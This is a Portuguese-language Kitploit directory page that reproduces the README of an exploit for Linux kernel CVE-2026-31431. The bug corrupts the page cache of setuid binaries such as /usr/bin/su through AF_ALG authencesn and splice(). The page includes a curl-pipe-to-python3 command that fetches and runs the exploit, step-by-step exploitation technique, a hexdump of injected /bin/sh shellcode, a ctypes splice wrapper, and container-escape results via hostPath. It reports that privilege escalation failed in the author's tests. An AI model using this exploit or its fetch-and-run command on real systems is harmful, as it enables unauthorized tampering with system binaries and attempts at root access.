Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-31431 — Exploit para o kernel Linux CVE-2026-31431 que causa corrupção do cache de páginas por meio de manipulação de AEAD authencesn, visando escalonamento de privilégios em contêineres e ambientes OpenShift. | Kitploit
Ferramentas/GitHubGitHub/seanrickerd/cve-2026-31431
Segurança de Infraestrutura em NuvemEscalada de PrivilégiosSegurança de ContêineresFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoExploração de Binários
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

Exploit para o kernel Linux CVE-2026-31431 que causa corrupção do cache de páginas por meio de manipulação de AEAD authencesn, visando escalonamento de privilégios em contêineres e ambientes OpenShift.

Ver Repositório
12518há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-31431 "Copy Fail" - Vulnerabilidade de Corrupção do Page Cache

Corrupção do page cache do kernel Linux via manipulação de AEAD authencesn.

⚠️ IMPORTANTE: Atualização do Estado de Exploração (1 de maio de 2026)

Após testes extensivos em múltiplos clusters OpenShift 4.20.16 com kernels RHEL 9.6:

  • ✅ Corrupção do Page Cache: CONFIRMADA - shellcode de 160 bytes injetado com sucesso
  • ✅ Vulnerabilidade do Kernel: EXPLORÁVEL a partir de containers sem privilégios (zero capabilities)
  • ❌ Escalação de Privilégios: NÃO ALCANÇADA - UID permanece inalterado apesar do cache corrompido
  • ❌ Execução de Código: NÃO OBSERVADA - Páginas modificadas visíveis em leituras, mas não executam
  • ✅ SCC Restricted-v2: EFICAZ - Impede escape de container, limita o raio de impacto

Consulte a seção Resultados de Testes Abrangentes para detalhes completos.


Visão Geral

CVE-2026-31431 é uma vulnerabilidade do kernel Linux na implementação criptográfica AEAD authencesn que permite que processos sem privilégios corrompam o page cache de arquivos legíveis via sockets AF_ALG e manipulação da syscall splice().

Os testes mostram: A corrupção do page cache funciona de forma confiável, mas a escalada de privilégios NÃO ocorre em kernels RHEL 9.6 em nossos ambientes de teste.

Pontuação CVSS: 7.8 (Alta)
Afetados: Versões do kernel Linux com suporte a authencesn (2017-2026)
Divulgação Pública: 29 de abril de 2026

Recursos

  • Compatível com Python 3.9+: Inclui wrapper da syscall splice() via ctypes
  • Portátil: Funciona em qualquer sistema Linux com kernel vulnerável
  • Confiável: Não requer condições de corrida
  • Limpo: Shellcode de 160 bytes, exploração determinística

Requisitos

  • Kernel Linux com implementação authencesn vulnerável (patch pré-abril de 2026)
  • Python 3.9+
  • Acesso de usuário sem privilégios
  • Binário setuid legível (padrão: /usr/bin/su)

Uso

Uso Básico```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

### A partir de um Arquivo Local```bash
python3 exploit.py
su

Comportamento Real do Exploit (Com Base em Testes)

O que IRÁ acontecer:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

**Verificação do Page Cache (confirma corrupção):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

O que NÃO vai acontecer (com base em testes):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

**Conclusão:** A corrupção do cache de páginas é bem-sucedida, mas a escalada de privilégios falha.

## Detalhes Técnicos

### Vulnerabilidade

A implementação de `authencesn` (Criptografia Autenticada com Dados Associados - Número de Sequência Estendido) do kernel Linux apresenta uma falha no tratamento de operações in-place. Ao processar operações AEAD submetidas por meio de um socket AF_ALG, uma página do cache de páginas pode acabar na lista de dispersão (scatterlist) de destino gravável do kernel.

### Técnica de Exploração

1. **Criar socket AF_ALG** com `authencesn(hmac(sha256),cbc(aes))`
2. **Configurar parâmetros AEAD** (chave, authsize)
3. **Abrir binário setuid alvo** (ex.: `/usr/bin/su`)
4. **Usar splice()** para colocar o binário no cache de páginas
5. **Acionar operação AEAD in-place** causando gravação no cache de páginas
6. **Gravar shellcode** 4 bytes por vez
7. **Executar binário modificado** para obter root

### Shellcode

O exploit usa um shellcode de 160 bytes que modifica o `/usr/bin/su` para:
- Ignorar a autenticação por senha
- Conceder acesso a shell root
- Manter funcionalidade normal para usuários sem privilégios

## Compatibilidade com Python 3.9

Python 3.9 e versões anteriores não possuem `os.splice()` na biblioteca padrão. Este exploit inclui uma implementação baseada em ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

Isto faz o exploit funcionar em:

  • ✅ Python 3.9 (RHEL 9, Ubuntu 20.04, etc.)
  • ✅ Python 3.10+
  • ✅ Qualquer Python com suporte a ctypes

Resultados Abrangentes de Testes

Ambiente de Teste 1: Cluster OpenShift 4.20.16 (Primeiro Teste)

Configuração do Nó:

  • Kernel: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (mais restritivo)
  • UID: 1000830000 (namespace de usuário)
  • Capabilities: 0x0000000000000000 (ZERO)

Resultados dos Testes:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

### Ambiente de Teste 2: Cluster OpenShift Novo (Teste de Verificação)

**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configuração do Nó:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (idêntico ao Teste 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (verificado)
- UID: 1000810000 (namespace de usuário)
- Capabilities: 0x0000000000000000 (ZERO)

**Resultados do Teste:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

Consistência: 100% de resultados reproduzíveis em clusters independentes

Teste de Escape de Contêiner

Cenário A: Com volume hostPath (Escape de Contêiner Possível)```yaml volumes:

  • name: host-usr hostPath: path: /usr
Resultado: ✅ **Escape de contêiner** - modifica o cache de páginas do host (Dispositivo 33, Inode 4288)

**Cenário B: SCC restricted-v2 (sem hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

Resultado: ❌ Sem escape de contêiner - afeta apenas o overlay do contêiner (inode separado)

Descoberta Crítica: o acesso a hostPath (não capabilities) é o fator determinante para o escape de contêiner.

Por que a Escalação de Privilégios Falha

Explicações Possíveis (Requer Pesquisa Adicional):

  1. Caminhos de Código de Leitura vs Execução

    • A corrupção do page cache afeta operações mmap(PROT_READ)
    • Mapeamentos executáveis mmap(PROT_EXEC) podem ignorar o cache corrompido
    • O kernel pode usar caminhos de código diferentes para páginas executáveis
  2. Proteções de Memória

    • Aplicação de W^X (Write XOR Execute)
    • Validação de páginas executáveis do kernel
    • Verificações de integridade de código SELinux/AppArmor
Baixar ferramenta